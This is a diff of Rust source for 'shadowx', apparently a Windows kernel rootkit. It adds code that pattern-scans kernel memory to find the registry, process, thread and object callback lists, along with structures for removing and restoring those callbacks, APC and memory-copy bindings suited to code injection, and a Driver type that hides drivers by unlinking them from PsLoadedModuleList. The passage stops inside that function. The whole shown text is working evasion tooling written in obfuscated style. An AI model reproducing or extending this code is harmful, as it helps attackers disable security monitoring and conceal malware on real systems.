// lea rcx,[nt!PspLoadImageNotifyRoutine (xxx)]
|
||||||
|
let instructions = [0x48, 0x8D, 0x0D];
|
||||||
|
scan_for_pattern(function_address, &instructions, 3, 7, 0x50)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the `CmRegisterCallbackEx` routine.
|
||||||
|
///
|
||||||
|
/// This function retrieves the address of the `CmRegisterCallbackEx` routine
|
||||||
|
/// and other related components such as the callback list lock, callback list head,
|
||||||
|
/// and the callback count, by scanning memory for specific patterns.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count,
|
||||||
|
/// and the callback list lock if found.
|
||||||
|
/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning.
|
||||||
|
unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8), ShadowError> {
|
||||||
|
let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
// call nt!CmpRegisterCallbackInternal
|
||||||
|
let register_internal_pattern = [0xE8];
|
||||||
|
let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50)?;
|
||||||
|
|
||||||
|
// call nt!CmpInsertCallbackInListByAltitude
|
||||||
|
let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8];
|
||||||
|
let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108)?;
|
||||||
|
|
||||||
|
// lea rcx,[nt!CmpCallbackListLock (xxx)]
|
||||||
|
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
|
||||||
|
let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200)?;
|
||||||
|
|
||||||
|
// lea r15,[nt!CallbackListHead (xxx)]
|
||||||
|
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
|
||||||
|
let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200)?;
|
||||||
|
|
||||||
|
// lock inc dword ptr [nt!CmpCallBackCount (xxx)]
|
||||||
|
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
|
||||||
|
let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200)?;
|
||||||
|
|
||||||
|
Ok((callback_list_header, callback_count, callback_list_lock))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the `ObRegisterCallbacks` routine.
|
||||||
|
///
|
||||||
|
/// This function retrieves the address of either the `ObProcess` or `ObThread` callbacks
|
||||||
|
/// based on the provided callback type.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found.
|
||||||
|
/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs.
|
||||||
|
pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE, ShadowError> {
|
||||||
|
match callback {
|
||||||
|
Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }),
|
||||||
|
Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }),
|
||||||
|
_ => Err(ShadowError::PatternNotFound)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the specified callback routine.
|
||||||
|
///
|
||||||
|
/// This function dispatches the search based on the callback type, calling the appropriate
|
||||||
|
/// function to retrieve the address of the desired callback.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `callback` - A reference to the `Callbacks` enum specifying the target callback.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components.
|
||||||
|
/// * `Err(ShadowError)` - If the callback is not found or an error occurs.
|
||||||
|
pub unsafe fn find_callback_address(callback: &Callbacks) -> Result<CallbackResult, ShadowError> {
|
||||||
|
match callback {
|
||||||
|
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::Notify),
|
||||||
|
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::Notify),
|
||||||
|
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify),
|
||||||
|
Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry),
|
||||||
|
Callbacks::ObProcess | Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::Object),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enum representing the return types for various callback searches.
|
||||||
|
///
|
||||||
|
/// This enum holds the result of searching for a specific callback routine.
|
||||||
|
/// The variants store the associated memory addresses for the found callbacks.
|
||||||
|
pub enum CallbackResult {
|
||||||
|
/// Holds the address for process/thread/image creation notifications.
|
||||||
|
Notify(*mut u8),
|
||||||
|
|
||||||
|
/// Holds the addresses for the registry callback, including the callback list and callback count.
|
||||||
|
Registry((*mut u8, *mut u8, *mut u8)),
|
||||||
|
|
||||||
|
/// Holds the address for object process/thread callbacks.
|
||||||
|
Object(*mut FULL_OBJECT_TYPE),
|
||||||
|
}
|
||||||
6
crates/shadowx/src/callback/mod.rs
Normal file
6
crates/shadowx/src/callback/mod.rs
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
/// This module provides custom callback functions and utilities.
|
||||||
|
pub mod find_callback;
|
||||||
|
|
||||||
|
/// This module implements various types of callbacks used throughout the project.
|
||||||
|
pub mod callbacks;
|
||||||
|
pub use callbacks::*;
|
||||||
68
crates/shadowx/src/data/externs.rs
Normal file
68
crates/shadowx/src/data/externs.rs
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
use super::*;
|
||||||
|
use wdk_sys::*;
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE;
|
||||||
|
}
|
||||||
|
|
||||||
|
extern "system" {
|
||||||
|
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
|
||||||
|
|
||||||
|
pub fn PsGetCurrentThread() -> PETHREAD;
|
||||||
|
|
||||||
|
pub fn IoCreateDriver(
|
||||||
|
DriverName: PUNICODE_STRING,
|
||||||
|
DriverInitialize: types::DRIVER_INITIALIZE,
|
||||||
|
) -> NTSTATUS;
|
||||||
|
|
||||||
|
pub fn ZwProtectVirtualMemory(
|
||||||
|
ProcessHandle: HANDLE,
|
||||||
|
BaseAddress: *mut PVOID,
|
||||||
|
RegionSize: PSIZE_T,
|
||||||
|
NewProtect: ULONG,
|
||||||
|
OldProtect: PULONG
|
||||||
|
) -> NTSTATUS;
|
||||||
|
|
||||||
|
pub fn MmCopyVirtualMemory(
|
||||||
|
SourceProcess: PEPROCESS,
|
||||||
|
SourceAddress: PVOID,
|
||||||
|
TargetProcess: PEPROCESS,
|
||||||
|
TargetAddress: PVOID,
|
||||||
|
BufferSize: SIZE_T,
|
||||||
|
PreviousMode: KPROCESSOR_MODE,
|
||||||
|
ReturnSize: PSIZE_T,
|
||||||
|
);
|
||||||
|
|
||||||
|
pub fn KeInitializeApc(
|
||||||
|
APC: PRKAPC,
|
||||||
|
Thread: PETHREAD,
|
||||||
|
Environment: enums::KAPC_ENVIROMENT,
|
||||||
|
KernelRoutine: types::PKKERNEL_ROUTINE,
|
||||||
|
RundownRoutine: types::PKRUNDOWN_ROUTINE,
|
||||||
|
NormalRoutine: types::PKNORMAL_ROUTINE,
|
||||||
|
ApcMode: KPROCESSOR_MODE,
|
||||||
|
NormalContext: PVOID
|
||||||
|
);
|
||||||
|
|
||||||
|
pub fn KeTestAlertThread(
|
||||||
|
AlertMode: KPROCESSOR_MODE
|
||||||
|
);
|
||||||
|
|
||||||
|
pub fn KeInsertQueueApc(
|
||||||
|
APC: PRKAPC,
|
||||||
|
SystemArgument1: PVOID,
|
||||||
|
SystemArgument2: PVOID,
|
||||||
|
Increment: KPRIORITY
|
||||||
|
) -> bool;
|
||||||
|
|
||||||
|
pub fn ObReferenceObjectByName(
|
||||||
|
ObjectName: PUNICODE_STRING,
|
||||||
|
Attributes: u32,
|
||||||
|
AccessState: PACCESS_STATE,
|
||||||
|
DesiredAccess: ACCESS_MASK,
|
||||||
|
ObjectType: POBJECT_TYPE,
|
||||||
|
AccessMode: KPROCESSOR_MODE,
|
||||||
|
ParseContext: PVOID,
|
||||||
|
Object: *mut PVOID,
|
||||||
|
) -> NTSTATUS;
|
||||||
|
}
|
||||||
13
crates/shadowx/src/data/mod.rs
Normal file
13
crates/shadowx/src/data/mod.rs
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
#![allow(non_camel_case_types, non_snake_case)]
|
||||||
|
|
||||||
|
pub mod structs;
|
||||||
|
pub use structs::*;
|
||||||
|
|
||||||
|
pub mod types;
|
||||||
|
pub use types::*;
|
||||||
|
|
||||||
|
pub mod externs;
|
||||||
|
pub use externs::*;
|
||||||
|
|
||||||
|
pub mod enums;
|
||||||
|
pub use enums::*;
|
||||||
399
crates/shadowx/src/data/structs.rs
Normal file
399
crates/shadowx/src/data/structs.rs
Normal file
@@ -0,0 +1,399 @@
|
|||||||
|
use {
|
||||||
|
wdk_sys::*,
|
||||||
|
bitfield::bitfield,
|
||||||
|
common::enums::Callbacks,
|
||||||
|
core::{ffi::c_void, mem::ManuallyDrop},
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
use super::COMUNICATION_TYPE;
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
pub struct PS_PROTECTION(u8);
|
||||||
|
pub u8, Type, SetType: 2, 0;
|
||||||
|
pub u8, Audit, SetAudit: 3;
|
||||||
|
pub u8, Signer, SetSigner: 7, 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct PROCESS_SIGNATURE {
|
||||||
|
pub SignatureLevel: u8,
|
||||||
|
pub SectionSignatureLevel: u8,
|
||||||
|
pub Protection: PS_PROTECTION,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
pub struct SystemModuleInformation {
|
||||||
|
pub ModuleCount: u32,
|
||||||
|
pub Modules: [SystemModule; 256],
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
pub struct SystemModule {
|
||||||
|
pub Section: *mut c_void,
|
||||||
|
pub MappedBase: *mut c_void,
|
||||||
|
pub ImageBase: *mut c_void,
|
||||||
|
pub Size: u32,
|
||||||
|
pub Flags: u32,
|
||||||
|
pub Index: u8,
|
||||||
|
pub NameLength: u8,
|
||||||
|
pub LoadCount: u8,
|
||||||
|
pub PathLength: u8,
|
||||||
|
pub ImageName: [u8; 256],
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_SHORT {
|
||||||
|
pub VadNode: RTL_BALANCED_NODE,
|
||||||
|
pub StartingVpn: u32,
|
||||||
|
pub EndingVpn: u32,
|
||||||
|
pub StartingVpnHigh: u8,
|
||||||
|
pub EndingVpnHigh: u8,
|
||||||
|
pub CommitChargeHigh: u8,
|
||||||
|
pub SpareNT64VadUChar: u8,
|
||||||
|
pub ReferenceCount: i32,
|
||||||
|
pub PushLock: usize,
|
||||||
|
pub u: MMVAD_SHORT_0,
|
||||||
|
pub u1: MMVAD_SHORT_0_0,
|
||||||
|
pub u5: MMVAD_SHORT_0_0_0,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union MMVAD_SHORT_0 {
|
||||||
|
pub LongFlags: u32,
|
||||||
|
pub VadFlags: ManuallyDrop<MMVAD_FLAGS>,
|
||||||
|
pub PrivateVadFlags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
|
||||||
|
pub GraphicsVadFlags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
|
||||||
|
pub SharedVadFlags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
|
||||||
|
pub VolatileLong: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union MMVAD_SHORT_0_0 {
|
||||||
|
pub LongFlags1: u32,
|
||||||
|
pub VadFlags1: ManuallyDrop<MMVAD_FLAGS1>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union MMVAD_SHORT_0_0_0 {
|
||||||
|
pub EventListUlongPtr: u64,
|
||||||
|
pub StartingVpnHigher: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct SUBSECTION {
|
||||||
|
pub ControlArea: *mut CONTROL_AREA,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct CONTROL_AREA {
|
||||||
|
Segment: *mut *mut c_void,
|
||||||
|
ListOrAweContext: LIST_OR_AWE_CONTEXT,
|
||||||
|
NumberOfSectionReferences: u64,
|
||||||
|
NumberOfPfnReferences: u64,
|
||||||
|
NumberOfMappedViews: u64,
|
||||||
|
NumberOfUserReferences: u64,
|
||||||
|
u: CONTROL_AREA_0,
|
||||||
|
u1: CONTROL_AREA_0_0,
|
||||||
|
pub FilePointer: EX_FAST_REF
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct EX_FAST_REF {
|
||||||
|
pub Inner: EX_FAST_REF_INNER,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union EX_FAST_REF_INNER {
|
||||||
|
pub Object: *mut c_void,
|
||||||
|
pub Value: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union CONTROL_AREA_0 {
|
||||||
|
LongFlags: u32,
|
||||||
|
Flags: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union CONTROL_AREA_0_0 {
|
||||||
|
LongFlags: u32,
|
||||||
|
Flags: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union LIST_OR_AWE_CONTEXT {
|
||||||
|
ListHead: LIST_ENTRY,
|
||||||
|
AweContext: *mut c_void,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD {
|
||||||
|
Core: MMVAD_SHORT,
|
||||||
|
u2: MMVAD_0,
|
||||||
|
pub SubSection: *mut SUBSECTION
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub union MMVAD_0 {
|
||||||
|
LongFlags2: u32,
|
||||||
|
VadFlags2: ManuallyDrop<MMVAD_FLAGS2>
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub Lock, SetLock: 0;
|
||||||
|
pub LockContended, SetLockContended: 1;
|
||||||
|
pub DeleteInProgress, SetDeleteInProgress: 2;
|
||||||
|
pub NoChange, SetNoChange: 3;
|
||||||
|
pub VadType, SetVadType: 6, 4;
|
||||||
|
pub Protection, SetProtection: 11, 7;
|
||||||
|
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||||
|
pub PageSize, SetPageSize: 19, 20;
|
||||||
|
pub PrivateMemory, SetPrivateMemory: 21;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_FLAGS1(u32);
|
||||||
|
impl Debug;
|
||||||
|
pub CommitCharge, SetCommitCharge: 30, 0;
|
||||||
|
pub MemCommit, SetMemCommit: 31;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MMVAD_FLAGS2(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub FileOffset, SetFileOffset: 0, 23;
|
||||||
|
pub Large, SetLarge: 24;
|
||||||
|
pub TrimBehind, SetTrimBehind: 25;
|
||||||
|
pub Inherit, SetInherit: 26;
|
||||||
|
pub NoValidationNeeded, SetNoValidationNeeded: 27;
|
||||||
|
pub PrivateDemandZEro, SetPrivateDemandZero: 28;
|
||||||
|
pub Spare, SetSpare: 29, 31;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MM_SHARED_VAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub Lock, SetLock: 1;
|
||||||
|
pub LockContended, SetLockContended: 1;
|
||||||
|
pub DeleteInProgress, SetDeleteInProgress: 1;
|
||||||
|
pub NoChange, SetNoChange: 1;
|
||||||
|
pub VadType, SetVadType: 6, 4;
|
||||||
|
pub Protection, SetProtection: 11, 7;
|
||||||
|
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||||
|
pub PageSize, SetPageSize: 19, 20;
|
||||||
|
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
|
||||||
|
pub PrivateFixup, SetPrivateFixup: 22;
|
||||||
|
pub HotPatchState, SetHotPatchState: 24, 23;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MM_PRIVATE_VAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub Lock, SetLock: 1;
|
||||||
|
pub LockContended, SetLockContended: 1;
|
||||||
|
pub DeleteInProgress, SetDeleteInProgress: 1;
|
||||||
|
pub NoChange, SetNoChange: 1;
|
||||||
|
pub VadType, SetVadType: 6, 4;
|
||||||
|
pub Protection, SetProtection: 11, 7;
|
||||||
|
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||||
|
pub PageSize, SetPageSize: 19, 20;
|
||||||
|
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
|
||||||
|
pub Writewatch, setWrite: 22;
|
||||||
|
pub FixedLargePageSize, SetPageLarge: 23;
|
||||||
|
pub ZeroFillPagesOptional, SetZeroFill: 24;
|
||||||
|
pub Graphics, SetGraphics: 25;
|
||||||
|
pub Enclave, SetEnclave: 26;
|
||||||
|
pub ShadowStack, SetShadowStack: 27;
|
||||||
|
pub PhysicalMemoryPfnsReferenced, SetPhysical: 28;
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
|
||||||
|
impl Debug;
|
||||||
|
u32;
|
||||||
|
pub Lock, SetLock: 1;
|
||||||
|
pub LockContended, SetLockContended: 1;
|
||||||
|
pub DeleteInProgress, SetDeleteInProgress: 1;
|
||||||
|
pub NoChange, SetNoChange: 1;
|
||||||
|
pub VadType, SetVadType: 6, 4;
|
||||||
|
pub Protection, SetProtection: 11, 7;
|
||||||
|
pub PreferredNode, SetPreferredNode: 18, 12;
|
||||||
|
pub PageSize, SetPageSize: 19, 20;
|
||||||
|
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
|
||||||
|
pub Writewatch, setWrite: 22;
|
||||||
|
pub FixedLargePageSize, SetPageLarge: 23;
|
||||||
|
pub ZeroFillPagesOptional, SetZeroFill: 24;
|
||||||
|
pub GraphicsAlwaysSet, SetGraphicsAlwaysSet: 25;
|
||||||
|
pub GraphicsUseCoherent, SetGraphicsUseCoherent: 26;
|
||||||
|
pub GraphicsNoCache, SetGraphicsNoCache: 27;
|
||||||
|
pub GraphicsPageProtection, SetGraphicsPageProtection: 30, 28;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct TRACE_ENABLE_INFO {
|
||||||
|
pub IsEnabled: u32,
|
||||||
|
pub Level: u8,
|
||||||
|
pub Reserved1: u8,
|
||||||
|
pub LoggerId: u16,
|
||||||
|
pub EnableProperty: u32,
|
||||||
|
pub Reserved2: u32,
|
||||||
|
pub MatchAnyKeyword: u64,
|
||||||
|
pub MatchAllKeyword: u64
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct NSI_TCP_ENTRY {
|
||||||
|
pub Reserved1: [u8; 2],
|
||||||
|
pub Port: u16,
|
||||||
|
pub IpAddress: u32,
|
||||||
|
pub IpAddress6: [u8; 16],
|
||||||
|
pub Reserved2: [u8; 4]
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct NSI_TABLE_TCP_ENTRY {
|
||||||
|
pub Local: NSI_TCP_ENTRY,
|
||||||
|
pub Remote: NSI_TCP_ENTRY
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct NSI_UDP_ENTRY {
|
||||||
|
pub Reserved1: [u8; 2],
|
||||||
|
pub Port: u16,
|
||||||
|
pub IpAddress: u32,
|
||||||
|
pub IpAddress6: [u8; 16],
|
||||||
|
pub Reserved2: [u8; 4]
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct NSI_PARAM {
|
||||||
|
pub Reserved1: usize,
|
||||||
|
pub Reverved2: usize,
|
||||||
|
pub ModuleId: *mut core::ffi::c_void,
|
||||||
|
pub Type_: COMUNICATION_TYPE,
|
||||||
|
pub Reserved3: u32,
|
||||||
|
pub Reserved4: u32,
|
||||||
|
pub Entries: *mut core::ffi::c_void,
|
||||||
|
pub EntrySize: usize,
|
||||||
|
pub Reserved5: *mut core::ffi::c_void,
|
||||||
|
pub Reserved6: usize,
|
||||||
|
pub StatusEntries: *mut NSI_STATUS_ENTRY,
|
||||||
|
pub Reserved7: usize,
|
||||||
|
pub ProcessEntries: *mut NSI_PROCESS_ENTRY,
|
||||||
|
pub ProcessEntrySize: usize,
|
||||||
|
pub Count: usize
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct NSI_STATUS_ENTRY {
|
||||||
|
pub State: u32,
|
||||||
|
pub Reserved: [u8; 8]
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct NSI_PROCESS_ENTRY {
|
||||||
|
pub UdpProcessId: u32,
|
||||||
|
pub Reserved1: u32,
|
||||||
|
pub Reserved2: u32,
|
||||||
|
pub TcpProcessId: u32,
|
||||||
|
pub Reserved3: u32,
|
||||||
|
pub Reserved4: u32,
|
||||||
|
pub Reserved5: u32,
|
||||||
|
pub Reserved6: u32
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct FULL_OBJECT_TYPE {
|
||||||
|
pub TypeList: LIST_ENTRY,
|
||||||
|
pub Name: UNICODE_STRING,
|
||||||
|
pub DefaultObject: *mut c_void,
|
||||||
|
pub Index: u8,
|
||||||
|
pub TotalNumberOf_Objects: u32,
|
||||||
|
pub TotalNumberOfHandles: u32,
|
||||||
|
pub HighWaterNumberOfObjects: u32,
|
||||||
|
pub HighWaterNumberOfHandles: u32,
|
||||||
|
pub TypeInfo: [u8; 0x78],
|
||||||
|
pub TypeLock: _EX_PUSH_LOCK,
|
||||||
|
pub Key: u32,
|
||||||
|
pub CallbackList: LIST_ENTRY,
|
||||||
|
}
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
pub struct _EX_PUSH_LOCK(u64);
|
||||||
|
impl Debug;
|
||||||
|
u64;
|
||||||
|
Locked, SetLocked: 0;
|
||||||
|
Waiting, SetWaiting: 1;
|
||||||
|
Waking, Setwaking: 2;
|
||||||
|
MultipleShared, SetMultipleShared: 3;
|
||||||
|
Shared, SetShared: 63, 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Default)]
|
||||||
|
pub struct CallbackRestaure {
|
||||||
|
pub index: usize,
|
||||||
|
pub callback: Callbacks,
|
||||||
|
pub address: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Default)]
|
||||||
|
pub struct CallbackRestaureOb{
|
||||||
|
pub index: usize,
|
||||||
|
pub callback: Callbacks,
|
||||||
|
pub pre_operation: u64,
|
||||||
|
pub post_operation: u64,
|
||||||
|
pub entry: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
pub struct CM_CALLBACK {
|
||||||
|
pub List: LIST_ENTRY,
|
||||||
|
pub Unknown1: [u64; 2],
|
||||||
|
pub Context: u64,
|
||||||
|
pub Function: u64,
|
||||||
|
pub Altitude: UNICODE_STRING,
|
||||||
|
pub Unknown2: [u64; 2],
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct OBCALLBACK_ENTRY {
|
||||||
|
pub CallbackList: LIST_ENTRY,
|
||||||
|
pub Operations: OB_OPERATION,
|
||||||
|
pub Enabled: bool,
|
||||||
|
pub Entry: *mut OB_CALLBACK,
|
||||||
|
pub ObjectType: POBJECT_TYPE,
|
||||||
|
pub PreOperation: POB_PRE_OPERATION_CALLBACK,
|
||||||
|
pub PostOperation: POB_POST_OPERATION_CALLBACK,
|
||||||
|
pub Lock: KSPIN_LOCK
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct OB_CALLBACK {
|
||||||
|
pub Version: u16,
|
||||||
|
pub OperationRegistrationCount: u16,
|
||||||
|
pub RegistrationContext: *mut c_void,
|
||||||
|
pub AltitudeString: UNICODE_STRING,
|
||||||
|
pub EntryItems: [OBCALLBACK_ENTRY; 1],
|
||||||
|
pub AltitudeBuffer: [u16; 1],
|
||||||
|
}
|
||||||
@@ -1,5 +1,7 @@
|
|||||||
use super::*;
|
#![allow(non_camel_case_types)]
|
||||||
|
|
||||||
use wdk_sys::*;
|
use wdk_sys::*;
|
||||||
|
use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST;
|
||||||
|
|
||||||
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
|
||||||
DriverObject: &mut _DRIVER_OBJECT,
|
DriverObject: &mut _DRIVER_OBJECT,
|
||||||
@@ -21,19 +23,19 @@ pub type ZwCreateThreadExType = unsafe extern "system" fn (
|
|||||||
) -> NTSTATUS;
|
) -> NTSTATUS;
|
||||||
|
|
||||||
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
|
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
|
||||||
apc: PKAPC,
|
APC: PKAPC,
|
||||||
) -> NTSTATUS>;
|
) -> NTSTATUS>;
|
||||||
|
|
||||||
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
|
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
|
||||||
normal_context: *mut PVOID,
|
NormalContext: *mut PVOID,
|
||||||
system_argument1: *mut PVOID,
|
SystemArgument1: *mut PVOID,
|
||||||
system_argument2: *mut PVOID
|
SystemArgument2: *mut PVOID
|
||||||
) -> NTSTATUS>;
|
) -> NTSTATUS>;
|
||||||
|
|
||||||
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
|
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
|
||||||
apc: PKAPC,
|
APC: PKAPC,
|
||||||
normal_routine: *mut PKNORMAL_ROUTINE,
|
NormalRoutine: *mut PKNORMAL_ROUTINE,
|
||||||
normal_context: *mut PVOID,
|
NormalContext: *mut PVOID,
|
||||||
system_argument1: *mut PVOID,
|
SystemArgument1: *mut PVOID,
|
||||||
system_argument2: *mut PVOID
|
SystemArgument2: *mut PVOID
|
||||||
);
|
);
|
||||||
177
crates/shadowx/src/driver.rs
Normal file
177
crates/shadowx/src/driver.rs
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
common::structs::DriverInfo,
|
||||||
|
crate::{error::ShadowError, uni},
|
||||||
|
alloc::{string::{String, ToString}, vec::Vec},
|
||||||
|
ntapi::ntldr::{LDR_DATA_TABLE_ENTRY, PLDR_DATA_TABLE_ENTRY},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::MmGetSystemRoutineAddress,
|
||||||
|
LIST_ENTRY, NTSTATUS, PLIST_ENTRY,
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Represents driver manipulation operations.
|
||||||
|
///
|
||||||
|
/// The `Driver` struct provides methods to hide and unhide kernel drivers
|
||||||
|
/// by modifying the `PsLoadedModuleList`, which tracks loaded drivers in the system.
|
||||||
|
pub struct Driver;
|
||||||
|
|
||||||
|
impl Driver {
|
||||||
|
/// Hides a specified driver from the PsLoadedModuleList.
|
||||||
|
///
|
||||||
|
/// This function iterates over the `PsLoadedModuleList` to find a driver whose name matches
|
||||||
|
/// the provided `driver_name`. Once found, the driver is unlinked from the list, effectively hiding it
|
||||||
|
/// from tools that inspect the loaded drivers list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
